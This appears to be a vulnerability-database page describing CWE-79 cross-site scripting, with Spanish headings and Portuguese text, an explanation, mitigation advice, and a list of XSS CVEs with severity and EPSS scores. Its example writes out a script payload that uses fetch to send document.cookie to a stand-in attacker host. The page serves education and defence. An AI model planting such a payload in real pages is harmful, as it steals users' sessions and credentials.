Fallos del tipo CWE-79

29.583 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-50710MEDIUMFrappe Framework 17.0.0-dev - Stored XSS via eval in Number Card filters_configEPSS 0.4%CVE-2023-26491MEDIUMRSSHub is vulnerable to cross-site scripting (XSS) via unvalidated URL parametersEPSS 0.4%CVE-2024-9221MEDIUMTainacan <= 0.21.10 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2024-28662MEDIUMA Cross Site Scripting vulnerability exists in Piwigo before 14.3.0 script because of missing sanitization in create_tag in admin/include/fuEPSS 0.4%CVE-2026-44737MEDIUMgrav-plugin-admin: Stored Cross-Site Scripting (XSS) Reflected endpoint /admin/pages/[page], parameter data[header][title]EPSS 0.4%CVE-2022-47983MEDIUMIBM InfoSphere Information Server cross-site scriptingEPSS 0.4%CVE-2026-50705MEDIUMFrappe Framework 17.0.0-dev - Stored XSS in Form Dashboard headline renderingEPSS 0.4%CVE-2023-38827MEDIUMCross Site Scripting vulnerability in Follet School Solutions Destiny v.20_0_1_AU4 and later allows a remote attacker to run arbitrary code EPSS 0.4%CVE-2024-9075LOWStirling-Tools Stirling-PDF Markdown-to-PDF cross site scriptingEPSS 0.4%CVE-2023-23015MEDIUMCross Site Scripting (XSS) vulnerability in Kalkun 0.8.0 via username input in file User_model.php.EPSS 0.4%CVE-2024-45625MEDIUMCross-site scripting vulnerability exists in Forminator versions prior to 1.34.1. If this vulnerability is exploited, an arbitrary script maEPSS 0.4%CVE-2024-1428MEDIUMElement Pack Elementor Addons (Header Footer, Free Template Library, Grid, Carousel, Table, Parallax Animation, Register Form, Twitter Grid) <= 5.5.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Trailer Box WidgetEPSS 0.4%CVE-2024-23031MEDIUMCross Site Scripting (XSS) vulnerability in is_water parameter in eyoucms v.1.6.5 allows a remote attacker to run arbitrary code via craftedEPSS 0.4%CVE-2024-27290MEDIUMDocassemble HTML and javascript injectionEPSS 0.4%CVE-2020-36826LOWAwesomestCode LiveBot parseMessage.js parseSend cross site scriptingEPSS 0.4%CVE-2023-41844LOWA improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Fortinet FortiSandbox 4.4.0 through EPSS 0.4%CVE-2023-27092MEDIUMCross Site Scripting vulnerability found in Jbootfly allows attackers to obtain sensitive information via the username parameter.EPSS 0.4%CVE-2025-1957MEDIUMcode-projects Blood Bank System o+.php cross site scriptingEPSS 0.4%CVE-2024-34424MEDIUMWordPress Featured Content Gallery plugin <= 3.2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2011-10006LOWGamerZ WP-PostRatings wp-postratings.php cross site scriptingEPSS 0.4%